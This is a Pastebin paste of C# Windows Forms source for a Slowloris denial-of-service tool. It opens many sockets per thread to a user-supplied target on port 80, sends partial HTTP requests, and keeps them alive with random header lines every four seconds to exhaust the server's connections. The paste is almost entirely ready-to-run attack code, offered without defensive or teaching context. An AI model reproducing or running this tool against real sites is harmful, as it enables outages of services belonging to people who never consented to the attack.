Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Threading;
- using System.Text;
- using System.Windows.Forms;
- using System.Net;
- using System.Net.Sockets;
- namespace Slowloris
- {
- public partial class Form1 : Form
- {
- public static List<Thread> trds = new List<Thread>();
- public volatile string target = "";
- public volatile int per_thread = 100;
- public volatile int num_threads = 4;
- public volatile bool keepworking = true;
- public Form1()
- {
- InitializeComponent();
- }
- private void StartStopbtn_Click(object sender, EventArgs e)
- {
- switch (((Button)sender).Text)
- {
- case "Start":
- try { new Uri(this.TargetURLtbx.Text); }
- catch (Exception) { MessageBox.Show("ERROR: Invalid target URL"); return; }
- keepworking = true;
- target = this.TargetURLtbx.Text;
- per_thread = (int)this.NUDspt.Value;
- num_threads = (int)this.NUDthreads.Value;
- for (int i = 0; i < num_threads; i++)
- {
- trds.Add((new Thread(new ThreadStart(Worker))));
- trds[trds.Count-1].Start();
- }
- this.StartStopbtn.Text = "Stop";
- break;
- case "Stop":
- keepworking = false;
- trds.Clear();
- this.StartStopbtn.Text = "Start";
- break;
- default:
- foreach (Thread t in trds)
- {
- if (t.ThreadState != ThreadState.Stopped)
- {
- ((Button)sender).Text = "Stop";
- return;
- }
- }
- ((Button)sender).Text = "Start";
- break;
- }
- }
- private void Worker()
- {
- Socket[] socks = new Socket[per_thread];
- Uri uri = new Uri(target);
- //Setup Sockets
- for(int i=0;i<per_thread;i++)
- {
- if (!keepworking) { goto ENDLOOP; }
- socks[i] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- }
- while (true)
- {
- if (!keepworking) { goto ENDLOOP; }
- for (int i = 0; i < per_thread; i++)
- {
- if (!keepworking) { goto ENDLOOP; }
- if (!socks[i].Connected)
- {
- RETRY_CONNECT:
- if (!keepworking) { goto ENDLOOP; }
- try
- {
- socks[i] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- //socks[i].Connect(IPAddress.Parse("127.0.0.1"), 8888);
- socks[i].Connect(Dns.GetHostAddresses(uri.Host)[0], 80);
- socks[i].Send(System.Text.Encoding.ASCII.GetBytes("GET " + uri.PathAndQuery + " HTTP/1.1\r\nHost: " + uri.Host + "\r\nUser-Agent: C# Slowloris Public Edition by LiteSpeed (config: per_thread=" + per_thread + "; num_threads=" + num_threads + ";)\r\n"), SocketFlags.None);
- }
- catch (Exception)
- {
- if (!keepworking) { goto ENDLOOP; }
- Thread.Sleep(1000);
- goto RETRY_CONNECT;
- }
- }
- if (!keepworking) { goto ENDLOOP; }
- }
- if (!keepworking) { goto ENDLOOP; }
- LOOP:
- if (!keepworking) { goto ENDLOOP; }
- try
- {
- for (int i = 0; i < per_thread; i++)
- {
- if (!keepworking) { goto ENDLOOP; }
- socks[i].Send(System.Text.Encoding.ASCII.GetBytes("X-"+RandomNumberString(10)+": 1\r\n"), SocketFlags.None);
- }
- }
- catch (Exception)
- {
- continue;
- }
- Thread.Sleep(4000);
- if (!keepworking) { goto ENDLOOP; }
- goto LOOP;
- }
- ENDLOOP:
- for (int i = 0; i < per_thread; i++)
- {
- if (socks[i].Connected)
- {
- socks[i].Disconnect(false);
- }
- socks[i] = null;
- }
- }
- Random r = new Random(Environment.TickCount);
- public string RandomNumberString(int length)
- {
- string outstr = "";
- for (int i = 0; i < length; i++)
- {
- outstr += r.Next(9);
- }
- return outstr;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement